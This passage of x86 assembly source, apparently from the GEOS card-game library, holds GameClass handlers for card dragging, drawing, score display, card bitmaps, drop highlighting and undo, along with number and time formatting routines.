ds:ax = element if card OD doesn't match this element, then carry clear DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FindElementInFadeArray proc far cmp ds:[di].chunk, dx jne noMatch cmp ds:[di].handle, cx jne noMatch mov ax, di stc jmp done noMatch: clc done: ret FindElementInFadeArray endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameRegisterDrag %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_REGISTER_DRAG handler for GameClass Stores the OD of the deck dragging cards so that we know to pass on MSG_META_EXPOSED to it. CALLED BY: PASS: ds:di = game instance *ds:si = game object ^lcx:dx = instance of DeckClass CHANGES: RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameRegisterDrag method GameClass, MSG_GAME_REGISTER_DRAG mov ds:[di].GI_dragger.handle, cx ;^lGI_dragger <- OD mov ds:[di].GI_dragger.chunk, dx ;of dragging deck call ObjMarkDirty ret GameRegisterDrag endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameDeckSelected %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_DECK_SELECTED handler for GameClass CALLED BY: PASS: ^lcx:dx = selected deck bp = # of card in deck's composite that was selected CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: default action is to send deck a MSG_DECK_DRAG_OR_FLIP KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameDeckSelected method GameClass, MSG_GAME_DECK_SELECTED mov bx, cx mov si, dx mov ax, MSG_DECK_DRAG_OR_FLIP mov di, mask MF_FIXUP_DS GOTO ObjMessage GameDeckSelected endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameDraw %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_VIS_DRAW handler for GameClass CALLED BY: PASS: *ds:si = game object bp = gstate to draw through cl = DrawFlags CHANGES: RETURN: nothing DESTROYED: ax, bx, cx, dx, bp, di PSEUDO CODE/STRATEGY: call super class check to see if we have a dragging deck if so, and if this MSG_VIS_DRAW is an update, tell the deck to draw the dragged cards. KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameDraw method GameClass, MSG_VIS_DRAW push cx ;save DrawFlags push bp mov di, offset GameClass CallSuper MSG_VIS_DRAW pop bp ;restore gstate Deref_DI Game_offset mov bx, ds:[di].GI_dragger.handle ;bx <- dragger handle pop cx ;restore DrawFlags tst bx jz dontDrawDragger ;if no dragger, end test cl, mask DF_EXPOSED ;is it an update? jz dontDrawDragger ;if not, end ;drawDragger: ; ; If we have a dragging deck and the call is an update, ; we want to draw the dragged cards in case they went off the ; edge of the screen and came back ; mov si, ds:[di].GI_dragger.chunk mov ax, MSG_DECK_DRAW_DRAGS mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage dontDrawDragger: ret GameDraw endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameUpdateScore %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Updates the score internally and on screen CALLED BY: PASS: ds:di = game instance *ds:si = game object if score is to be zeroed: cx = dx = 0 if score is to be set absolutely but not to 0: cx = value to set score to if score is to be incremented or decremented: cx = 0, dx = amount to add to current score CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: sets up score, time then calls ScoreToTextObject KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 7/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameUpdateScore method GameClass, MSG_GAME_UPDATE_SCORE tst cx ;set score absolutely? jnz continue ;if so, do it tst dx ;setting score to zero? jz continue ;if so, do it ;addToScore: ;otherwise we're adjusting mov cx, ds:[di].GI_score ;the score relatively add cx, dx continue: mov ax, MSG_GAME_CHECK_MINIMUM_SCORE call ObjCallInstanceNoLock ;setScore: mov ds:[di].GI_score, cx ;save the score call ObjMarkDirty mov si, ds:[di].GI_scoreOutput.chunk mov di, ds:[di].GI_scoreOutput.handle ; segmov es, ss call ScoreToTextObject ;write score out ;endGameUpdateScore: ret GameUpdateScore endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameGetBackBitmap %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_GET_BACK_BITMAP handler for GameClass Returns a pointer to the bitmap to be drawn as the backside of the deck. CALLED BY: PASS: ds:di = game instance *ds:si = game object CHANGES: nothing RETURN: ^lcx:dx = bitmap DESTROYED: bx, cx, dx PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameGetBackBitmap method GameClass, MSG_GAME_GET_BACK_BITMAP push ds:[di].GI_whichBack mov ax, MSG_GAME_GET_VM_FILE call ObjCallInstanceNoLock mov bx, cx ;bx <- vm file handle mov di, ds:[si] add di, ds:[di].Game_offset pop si ;si <- which back call VMLock push bp test ds:[di].GI_gameAttrs, mask GA_USE_WIN_BACK push ds mov ds, ax jz regularBack mov cx, ds:[DMS_winBack].handle mov dx, ds:[DMS_winBack].chunk jmp unlock regularBack: cmp si, ds:DMS_numBacks jb haveBack ; ; For some reason, the back doesn't exist anymore (most likely, ; there's a new deck file with fewer backs), so we'll just use ; the first one ; clr si haveBack: shl si shl si ;si <- fptr mov cx, ds:DMS_backs[si].handle mov dx, ds:DMS_backs[si].chunk unlock: pop ds pop bp call VMUnlock ret GameGetBackBitmap endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameGetFaceBitmap %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_GET_FACE_BITMAP handler for GameClass Returns a pointer to the bitmap to be drawn given a set of card attributes (card must be face up) CALLED BY: PASS: ds:di = game instance *ds:si = game object bp - CardAttrs CHANGES: nothing RETURN: ^lcx:dx = bitmap DESTROYED: cx, dx, di PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameGetFaceBitmap method GameClass, MSG_GAME_GET_FACE_BITMAP ;;calculate which card we want, ordered as follows: ;;Ace of Diamonds = 0 ;;2 of Diamonds = 1 ;;... ;;King of Diamonds = 12 ;;Ace of Hearts = 13 ;;... ;;Ace of Clubs = 26 ;;... ;;Ace of Spades = 39 ;;... ;;King of Spades = 51 ; ; ax <- suit * 13 ; diamonds = 0 ; hearts = 1 ; clubs = 2 ; spades = 3 ; mov ax, bp ANDNF ax, mask CA_SUIT rept offset CA_SUIT shr ax endm mov cx, 13 mul cx ; ; ax += rank - 1 ; cx = ax ; mov dx, bp ANDNF dx, mask CA_RANK mov cl, offset CA_RANK shr dx, cl dec dx add ax, dx shl ax shl ax push ax ; ; now that cx has the card number, get the bitmap ; mov ax, MSG_GAME_GET_VM_FILE call ObjCallInstanceNoLock pop di mov_tr bx, cx call VMLock mov ds, ax mov cx, ds:DMS_cards[di].handle mov dx, ds:DMS_cards[di].chunk call VMUnlock ret GameGetFaceBitmap endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameDroppingDragCards %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_DROPPING_DRAG_CARDS handler for GameClass This method is called by the dragging deck when the user has released the cards. Game calls children asking for a deck to accept the dropped cards. CALLED BY: DeckEndSelect PASS: *ds:si = game object ^lcx:dx = dropping deck bp = drop card attributes CHANGES: RETURN: if cards are accepted elsewhere, carry is set else carry clear DESTROYED: PSEUDO CODE/STRATEGY: gets deck's drop card attributes, then calls children with drop deck OD and attributes KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameDroppingDragCards method GameClass, MSG_GAME_DROPPING_DRAG_CARDS mov ax, MSG_DECK_TAKE_CARDS_IF_OK call VisSendToChildrenWithTest ret GameDroppingDragCards endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameBroadCastDoubleClick %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_BROADCAST_DOUBLE_CLICK handler for GameClass This method is called by a deck when the user double clicks one of its cards. Game calls children asking for a deck to accept the double-clicked card. CALLED BY: DeckCardDoubleClicked PASS: *ds:si = game object ^lcx:dx = double clicked deck bp = attributes of double-clicked card CHANGES: RETURN: if card was accepted elsewhere, carry is set else carry clear DESTROYED: ax PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameBroadcastDoubleClick method GameClass,MSG_GAME_BROADCAST_DOUBLE_CLICK mov ax, MSG_DECK_TAKE_DOUBLE_CLICK_IF_OK call VisSendToChildrenWithTest ret GameBroadcastDoubleClick endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameCheckHilites %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_CHECK_HILITES handler for GameClass Broadcasts to children to hilite themselves if they would be the destination if cards were dropped right now. CALLED BY: DeckOutlinePtr PASS: *ds:si = game object ^lcx:dx = dragging deck bp = card attributes of drop card CHANGES: RETURN: nothing DESTROYED: ax, bp, cx, dx PSEUDO CODE/STRATEGY: Broadcast MSG_DECK_CHECK_POTENTIAL_DROP to children, asking to abort after first potential drop. If no potential drop, send message to self clearing all hilites. KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameCheckHilites method GameClass, MSG_GAME_CHECK_HILITES mov ax, MSG_DECK_CHECK_POTENTIAL_DROP ;see if the current call VisSendToChildrenWithTest ;drag will go anywhere jc endGameCheckHilites ;if so, ok clr cx ;otherwise, clear clr dx ;the hilited slots mov ax, MSG_GAME_REGISTER_HILITED call ObjCallInstanceNoLock endGameCheckHilites: ret GameCheckHilites endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameInvertAcceptors %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_INVERT_ACCEPTORS handler for GameClass Asks all decks to hilite themselves if they would accept the current drag based on the drop card (not on the current position of the drag) CALLED BY: DeckDraggableCardSelected, DeckEndSelect PASS: *ds:si = game object ^lcx:dx = dragging deck bp = card attributes of drop card CHANGES: RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameInvertAcceptors method GameClass, MSG_GAME_INVERT_ACCEPTORS cmp ds:[di].GI_userMode, BEGINNER_MODE jne done mov ax, MSG_DECK_INVERT_IF_ACCEPT call VisSendToChildren done: ret GameInvertAcceptors endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameMarkAcceptors %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_MARK_ACCEPTORS handler for GameClass Asks all decks to set their DA_WANTS_DRAG bit if they would accept the current drag based on the drop card (not on the current position of the drag) CALLED BY: PASS: *ds:si = game object ^lcx:dx = dragging deck bp = card attributes of drop card CHANGES: RETURN: nothing DESTROYED: ax PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameMarkAcceptors method GameClass, MSG_GAME_MARK_ACCEPTORS push cx,dx ;save dragger OD mov ax, MSG_DECK_MARK_IF_ACCEPT ;tell decks to mark themselves call VisSendToChildren pop cx,dx ;restore dragger OD ;;now we want to unmark any special cases (for example, in ;;klondike, we want to unmark any 2's if we're dragging an ace) mov ax, MSG_GAME_UNMARK_ACCEPTORS call ObjCallInstanceNoLock ;endGameMarkAcceptors: ret GameMarkAcceptors endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameRegisterHilited %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_REGISTER_HILITED handler for GameClass Keeps track of the one (if any) deck that is currently hilited. Also issues a MSG_DECK_INVERT to this deck if it is just now getting hilited (vs. having been hilited for multiple calls already). Also re-inverts the used-to-be hlited deck (if any), to make it unhilited. CALLED BY: GameCheckHilites, DeckCheckPotentialDrop, DeckEndSelect PASS: ds:di = game instance *ds:si = game object ^lcx:dx = hilited deck (cx = dx = 0 for no hilited deck) CHANGES: RETURN: nothing DESTROYED: ax, bx, cx, dx, di PSEUDO CODE/STRATEGY: if (old hilited = new hilited) { don't do anything } else { if (handle != 0) { invert new hilited } GI_hilited = new hilited invert old hilited } KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameRegisterHilited method GameClass, MSG_GAME_REGISTER_HILITED cmp ds:[di].GI_hilited.chunk, dx ;old hilited = new? je endGameRegisterHilited ;if so, done jcxz swap ;new hilited = 0? ;if so, erase old CallObjectCXDX MSG_DECK_INVERT, MF_FIXUP_DS ;else invert new swap: Deref_DI Game_offset xchg ds:[di].GI_hilited.handle, cx ;GI_hilited <- new xchg ds:[di].GI_hilited.chunk, dx ;^lcx:dx <- old call ObjMarkDirty jcxz endGameRegisterHilited ; ; Forcing this to the queue is a hack that solved ; a visual bug in intermediate mode klondike... ; CallObjectCXDX MSG_DECK_CLEAR_INVERTED, MF_FORCE_QUEUE endGameRegisterHilited: ret GameRegisterHilited endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameCollectAllCards %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_COLLECT_ALL_CARDS handler for GameClass Takes all the cards from all the decks and gives them to the hand. CALLED BY: PASS: ds:di = game instance *ds:si = game object CHANGES: RETURN: nothing DESTROYED: ax, cx, dx PSEUDO CODE/STRATEGY: tell all decks to give their cards to the hand object redraw the screen KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameCollectAllCards method GameClass, MSG_GAME_COLLECT_ALL_CARDS mov cx, ds:[di].GI_hand.handle ;^lcx:dx <- hand mov dx, ds:[di].GI_hand.chunk mov ax, MSG_DECK_GET_RID_OF_CARDS ;tell all decks to return ;cards to hand call VisSendToChildren mov ax, MSG_VIS_INVALIDATE ;redraw the screen call ObjCallInstanceNoLock ret GameCollectAllCards endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% VisSendToChildrenWithTest %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Calls children in order with a given method and data, and stops after the first one that returns carry set. (Just like VisSendToChildren, except tests abort on carry) CALLED BY: GameDroppingDragCards, GameBroadcastDoubleClick, GameCheckHilites PASS: *ds:si = game object ax = method to call children with cx, dx, bp = other data (if any) CHANGES: RETURN: if any child returned carry set, carry is returned set if no child returned carry set, carry is returned clear DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ VisSendToChildrenWithTest proc far class GameClass ; Indicate function is a friend ; of GameClass so it can play with ; instance data. clr bx ; initial child (first push bx ; child of composite) push bx mov bx, offset VI_link ; Pass offset to LinkPart push bx clr bx ; Use standard function push bx mov di, OCCT_SAVE_PARAMS_TEST_ABORT push di mov bx, offset Vis_offset mov di, offset VCI_comp ;DO NOT CHANGE THIS TO A GOTO! We are passing stuff on the stack. call ObjCompProcessChildren ;must use a call (no GOTO) since ;parameters are passed on the stack ret VisSendToChildrenWithTest endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ScoreToTextObject %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Creates a score string and sets the Text Object to display this string. CALLED BY: GameUpdateScore PASS: DS = Relocatable segment DI:SI = Block:chunk of TextObject CX = Score RETURN: Nothing DESTROYED: AX, BX, CX, DX, BP PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Jon 8/6/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SCORE_BUFFER_SIZE = 14 ScoreToTextObject proc far uses di, es .enter mov bx, di ; BX:SI is the TextEditObject segmov es, ss, dx ; SS to ES and DX! sub sp, SCORE_BUFFER_SIZE ; allocate room on the stack mov di, sp ; ES:DI => buffer to fill mov bp, di ; buffer also in DX:BP call CreateScoreString ; create the string clr cx ; string is NULL terminated mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage ; send the method add sp, SCORE_BUFFER_SIZE ; restore the stack .leave ret ScoreToTextObject endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CreateScoreString %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Create the score text string CALLED BY: ScoreToTextObject PASS: cx = score ES:DI = String buffer to fill RETURN: ES:DI = Points to end of string (NULL termination) DESTROYED: Nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Jon 8/6/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CreateScoreString proc near uses ax, bx, cx, dx .enter ; Create the score ; mov ax, cx call WriteNum ;Done: SBCS < mov {char}es:[di], 0 ; NULL terminated > DBCS < mov {wchar}es:[di], 0 ; NULL terminated > .leave ret CreateScoreString endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% WriteNum %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Converts a number to ASCII, and writes it into a buffer CALLED BY: CreateScoreString, WriteTime PASS: ES:DI = Start of string buffer AX = Value to write RETURN: ES:DI = Updated to next string position DESTROYED: AX PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Jon 8/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ WriteNum proc far push ax, bx, cx, dx ;save regs. necessary? clr bx ;# digits so far tst ax ;negative or positive? jge readValue ;negative: SBCS < mov {byte} es:[di],'-' ;if negative, add a '-' > DBCS < mov {wchar} es:[di],'-' ;if negative, add a '-' > LocalNextChar esdi ;advance pointer neg ax ;turn value positive readValue: mov cx, 10 ; put divisor in DL startReadLoop: clr dx ;we're dividing dx:ax, ;so we need to clear dx div cx ; do the division push dx ;here's our remainder inc bx ;one more digit... cmp ax, 0 ; check the quotient jg startReadLoop ;endReadLoop: mov cx, bx ;cx <- total # of digits DBCS < shl cx, 1 ;cx <- total # of bytes > clr bx ;bx <- # digits printed so far startWriteLoop: pop dx ;pop digit add dl, '0' ;make it a char SBCS < mov {byte} es:[di][bx], dl ;write it to string > DBCS < mov {wchar} es:[di][bx], dx ;write it to string > LocalNextChar esbx ;note we've written another cmp bx, cx ;done yet? jl startWriteLoop ;endWriteLoop: add di, cx ;point di after string pop ax, bx, cx, dx ;restore regs ret WriteNum endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% WriteTime %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Converts a time to ASCII, and writes it into a buffer CALLED BY: CreatetTimeString PASS: ES:BP = Start of string buffer AX = # of seconds RETURN: nothing DESTROYED: AX PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Jon 8/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ WriteTime proc far uses ax, bx, cx, dx, si, di .enter ; ; ch <- hours ; dl <- minutes ; dh <- seconds mov cx, 3600 clr dx div cx ;ax <- hours, dx <- seconds mov ch, al mov ax, dx clr dx mov bx, 60 div bx ;ax <- minutes; dx <- seconds mov dh, dl mov dl, al mov si, DTF_HMS_24HOUR tst ch jnz callLocal mov si, DTF_MS callLocal: mov di, bp call LocalFormatDateTime .leave ret WriteTime endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameSetDonor %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_SET_DONOR handler for GameClass. Stores OD of the deck giving cards to another so we can undo if need be. CALLED BY: PASS: ds:di = game instance *ds:si = game object ^lcx:dx = donating deck CHANGES: GI_lastDonor <- ^lcx:dx Undo trigger is enabled RETURN: nothing DESTROYED: bp, di PSEUDO CODE/STRATEGY: store away info and enable undo button KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameSetDonor method GameClass, MSG_GAME_SET_DONOR mov ds:[di].GI_lastDonor.handle, cx mov ds:[di].GI_lastDonor.chunk, dx mov bp, ds:[di].GI_score ;preserve the score so mov ds:[di].GI_lastScore, bp ;we can undo that, too. call ObjMarkDirty mov ax, MSG_GAME_ENABLE_UNDO ;since we have the info call ObjCallInstanceNoLock ;to do an undo, let's ;allow it ret GameSetDonor endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameEnableUndo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_ENABLE_UNDO handler for GameClass Sends a MSG_GEN_SET_ENABLED to the undo trigger CALLED BY: PASS: ds:di = game instance *ds:si = game object CHANGES: nothing RETURN: nothing DESTROYED: ax, bx, dx, di, si PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameEnableUndo method GameClass, MSG_GAME_ENABLE_UNDO mov dl, VUM_NOW mov bx, ds:[di].GI_undoTrigger.handle mov si, ds:[di].GI_undoTrigger.chunk mov ax, MSG_GEN_SET_ENABLED mov di, mask MF_FIXUP_DS GOTO ObjMessage GameEnableUndo endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GameDisableUndo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_DISABLE_UNDO handler for GameClass Sends a MSG_GEN_SET_NOT_ENABLED to the undo trigger CALLED BY: PASS: ds:di = game instance *ds:si = game object CHANGES: nothing RETURN: nothing DESTROYED: ax, bx, dx, di, si PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GameDisableUndo method GameClass, MSG_GAME_DISABLE_UNDO mov dl, VUM_NOW mov bx, ds:[di].GI_undoTrigger.handle mov si, ds:[di].GI_undoTrigger.chunk mov ax, MSG_GEN_SET_NOT_ENABLED mov di, mask MF_FIXUP_DS GOTO ObjMessage GameDisableUndo endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% 